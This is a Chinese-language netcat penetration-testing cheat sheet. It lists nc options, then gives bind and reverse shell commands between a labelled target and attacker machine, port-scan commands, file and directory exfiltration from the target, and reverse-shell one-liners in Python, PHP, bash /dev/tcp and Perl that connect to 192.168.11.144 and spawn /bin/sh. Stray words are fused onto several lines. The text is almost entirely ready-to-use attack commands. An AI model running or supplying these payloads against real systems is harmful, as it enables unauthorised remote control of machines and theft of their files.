options: -d 無命令行界面,使用後臺模式 -e prog 程序重定向 [危險!!] -g gateway 源路由跳躍點, 不超過8 -G num 源路由指示器: 4, 8, 12, ... -h 獲取幫助信息 -i secs 延時設置,端口掃描時使用 -l 監聽入站信息 -L 監聽知道NetCat被結束(可斷開重連) -n 以數字形式表示的IP地址 -o file 使進制記錄 -p port 打開本地端口 -r 隨機本地和遠程的端口 -s addr 本地源地址 -t 以TELNET的形式應答入站請求 -u UDP 模式 -v 顯示詳細信息 [使用=vv獲取更詳細的信息] -w secs 鏈接超時設置 -z I/O 模式 [掃描時使用] 端口號能夠是單個的或者存在一個範圍: m-n [包含值]。
A:靶機 B:攻擊機php
正向:
A:nc -lp 333 -c bash ;也能夠用-e cmd.exe或者-e /bin/bash
B:nc 1.1.1.1 333
反向:
B:nc -lp 333
A:nc 1.1.1.1 333 -c bashpython
注:Windows⽤用戶把bash改爲cmd;bash
nc -nvz 1.1.1.1 1-65535
nc –vnzu 1.1.1.1 1-1024socket
攻擊機從靶機下載文件
A:nc -nv 1.1.1.1 333 < 1.mp4
B:nc -lp 333 > 1.mp4
攻擊機傳輸文件到靶機
B:nc -lp 333 < a.mp4
A: nc -nv 1.1.1.1 333 > 2.mp4tcp
傳輸目錄
A:tar -cvf - music/ | nc -lp 333 –q 1
B:nc -nv 1.1.1.1 333 | tar -xvf –命令行
目標沒有nc時
(python)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
code
本地:nc -lvp 333路由
(php)
php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
get
(bash)
bash -i>&/dev/tcp/192.168.11.144/2222 0>&1
cmd
(perl)
perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'